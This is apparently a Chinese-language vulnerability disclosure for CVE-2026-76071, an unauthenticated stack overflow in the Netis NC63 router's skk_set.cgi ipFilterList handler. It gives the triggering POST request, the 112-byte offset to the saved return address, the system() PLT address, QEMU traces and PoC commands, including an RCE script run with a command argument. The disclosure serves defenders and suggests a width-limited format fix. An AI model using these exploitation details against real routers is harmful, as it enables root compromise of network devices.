skk_set.cgi 的 ipFilterList 处理程序通过 sscanf %[^,] 导致的未认证预认证栈缓冲区溢出研究员: Özcan Ersan (@ozcanpng)
CVE-2026-76071NC63_V3.0.0.3327/bin/netis.cgiPOST /cgi-bin/skk_set.cgiipFilterList=moddestHostsrcHostNetis NC63 固件 V3.0.0.3327 中的通用 MIB/值解析器使用两个 %[^,] 扫描集解析 ipFilterList 的 destHost 字段,但没有最大字段宽度限制。每次转换都会写入一个 16 字节的本地栈缓冲区。因此,直接使用 HTTP 客户端即可提交一个不含逗号的长组件,并覆盖该函数保存的控制数据。
对于动态测试的第二个 destHost 组件,保存的 ra 距离本地缓冲区恰好 112 字节。针对原始哈希 CGI 的 QEMU 跟踪确认,攻击者选择的第三项位于 0x0040f7f4。另一项仅观察测试将返回地址重定向到原始 system() PLT 路径 0x00423ab0,同时将攻击者控制的请求数据保留为精确的 MIPS a0 参数。一个受保护的 /bin/sh 记录了标记,但未执行任何命令。
公开 PoC 有意仅包含超长的 B 模式。它不包含私有的控制转移值或命令边界构造。单独维护的 RCE 脚本位于 poc/exploit-db/,已准备提交至 Exploit-DB,仅用于对受影响系统进行授权测试。
193f6a5e2ce65972b1805bf076f8d3521379a8441c8aaeb5ad0ba174bbee0792 netis_NC63_V3.0.0.3327.bin
eb298774c27070dc595fefcabb4e8c12a46cb5f4fd08f91c3ca92282c3a289a2 squashfs-root/bin/netis.cgi
23faa747b7d2f067aa5431bcc227ceca97a7977cf3e7c372f715cbba57f9209b squashfs-root/bin/boa
e3fd0ee3013014d59b14a409fb4ee5bb546e7d32413758ab3ad4fb0f0d3dcc47 squashfs-root/lib/libapmib.so

厂商前端将 srcHost 和 destHost 构建为三个以逗号分隔的
组件,并将它们与 ipFilterList 一起提交到 /cgi-bin/skk_set.cgi:
param.destHost = $("#dest_host").val();
param.destHost += "," + $("#dest_ip_1").val();
param.destHost += "," + $("#dest_ip_2").val();
param.ipFilterList = $("#ip_action").val();
request({
url: "/cgi-bin/skk_set.cgi",
data: param
});

经过验证的 HTTP 形式 CGI 请求不包含 Cookie 或 Authorization 头。/tmp/boa_auth 不存在,但执行仍继续进入 ipFilterList=mod 和 destHost 解析路径。内存破坏缺陷是 FUN_0040f7f4 中无宽度限制的扫描集;更广泛的 CGI 授权失败是使该特权处理程序在认证前暴露的条件。

Unauthenticated HTTP client
|
| POST /cgi-bin/skk_set.cgi
| ipFilterList=mod
| destHost=1,0.0.0.0,<long comma-free component>
v
FUN_004138a0
v
FUN_004134c8 (ipFilterList trigger row)
v
FUN_00410898(request, "ipFilterList")
v
FUN_0040f7f4(request, trigger, mib_table, pMib)
|
| get_request_param("destHost")
v
sscanf(value, "%d,%[^,],%[^,]", ...)
|
| second destination: char[16]
| no maximum scanset width
v
saved fp overwrite -> saved ra overwrite -> controlled PC
原始 libapmib.so 元数据将 srcHost 和 destHost 都映射到类型 0x0c,从而选中此解析器分支。动态验证使用 destHost 进行;srcHost 作为同一解析器的静态覆盖纳入,而非单独的动态验证声明。

规范化后的 Ghidra 派生伪代码:
case 0x0c:
value = get_request_param(request, metadata_name);
sscanf(value,
"%d,%[^,],%[^,]",
&selector,
first_ip_component, /* char[16] */
second_ip_component); /* char[16] */
*(char *)(destination + field_offset) = selector;
inet_aton(first_ip_component, destination + field_offset + 1);
inet_aton(second_ip_component, destination + field_offset + 5);
break;

sscanf() 本身并不是漏洞所在。缺陷在于 %[^,] 没有最大字段宽度,因此 sscanf 并不知道每个目标缓冲区只有 16 字节。一个具备容量感知的格式会使用诸如 %15[^,] 的宽度,验证恰好三次转换成功,然后校验解析出的地址值。这是一个缓解措施示例,并非厂商补丁。
FUN_0040f7f4 起始于 0x0040f7f4,并创建一个 0x1d0 字节的栈帧:
0040f7f4 addiu sp,sp,-0x1d0
0040f7f8 sw ra,0x1cc(sp)
0040f7fc sw fp,0x1c8(sp)
0040f800 sw s0,0x1c4(sp)
类型为 0x0c 的目标位于 fp+0x14c 和 fp+0x15c。保存的 ra 位于 fp+0x1cc,因此与第二个缓冲区的精确距离为:
0x1cc - 0x15c = 0x70 = 112 bytes

隔离的 PC 证明使用了 112 个填充字节,后跟 0x0040f7f4 的三个低位小端字节;sscanf 终止符提供了第四个零字节。QEMU 观察到两个普通解析器条目,随后是由被覆盖的返回地址引起的第三个条目:
parser_entry_hit=3 pc=0x0040f7f4
GPR28: ... s8 41414141 ra 0040f7f4
total_parser_entry_hits=3
PASS: third parser entry is the overwritten saved RA.

一个单独的私有验证形成了已保存的 ra=0x00423ab0,即原始二进制文件的 system() PLT 路径。一个受控的请求键后缀在返回时保留在 MIPS 的 a0 中。一次性运行时将 /bin/sh 替换为一个静态记录器:
argv[0]=</bin/sh>
argv[1]=<-c>
argv[2]=<NC63_IPFILTER_RCE_PROOF>
CONTROLLED_MARKER_PREFIX_REACHED
PASS: attacker-controlled request data reached system() as exact a0.
PASS: guarded /bin/sh recorded argv and executed no command.
这在隔离的生产代码路径中建立了一个 RCE 原语。物理路由器的确切利用可靠性、内核随机化行为以及默认 WAN 暴露情况均未测试。
所测试的 netis.cgi 与生产制品逐字节一致。由于 qemu-user 中无法获得由 flash 支持的 MIB 状态,一次性 rootfs 使用了一个已披露的、仅限实验室的 libapmib.so 适配方案,该方案分配了清零的 MIB 状态并调整了一个打包字段的对齐方式。它没有改变 CGI、请求解析器、存在漏洞的 sscanf、栈帧、保存的返回地址偏移、尾声或 system() 路径。静态元数据来自原始厂商的 libapmib.so。
原始可执行文件为固定基址,缺少栈金丝雀和 RELRO,并具有可执行栈和 RWX 段。这些属性支持可利用性分析,但不能替代动态 PC 和受保护边界测试。

URL 编码请求体的试运行生成:
python3 poc/poc.py
显式传输至授权的可丢弃目标:
python3 poc/poc.py --target http://192.168.1.1 --send
poc/exploit-db/CVE-2026-76071.py 是为 Exploit-DB 准备的 RCE 脚本。
它针对已记录的未认证 ipFilterList 漏洞,并
接受一个命令参数,用于对已授权的受影响测试目标进行测试:
python3 poc/exploit-db/CVE-2026-76071.py <target> "id"
公开脚本使用一个 115 字节的 B 组件来演示溢出条件。发送该组件可能导致 CGI 进程崩溃。它不包含命令字符串、shellcode、返回 system 的地址、反向 shell 或持久化机制。
成功利用可在路由器管理上下文中执行攻击者选定的命令。原始 Boa 配置以 root 身份运行 CGI。潜在后果包括路由器配置和机密信息泄露、DNS/防火墙/路由操纵、流量重定向、服务中断以及设备完全被攻陷。
%15[^,],并要求三次成功转换。%s 和 %[...]。参见 evidence/README.md。规范化伪代码和指令证据位于
attachments/decompiled-functions/ 下。
CVE-2026-76071 并授权公开披露。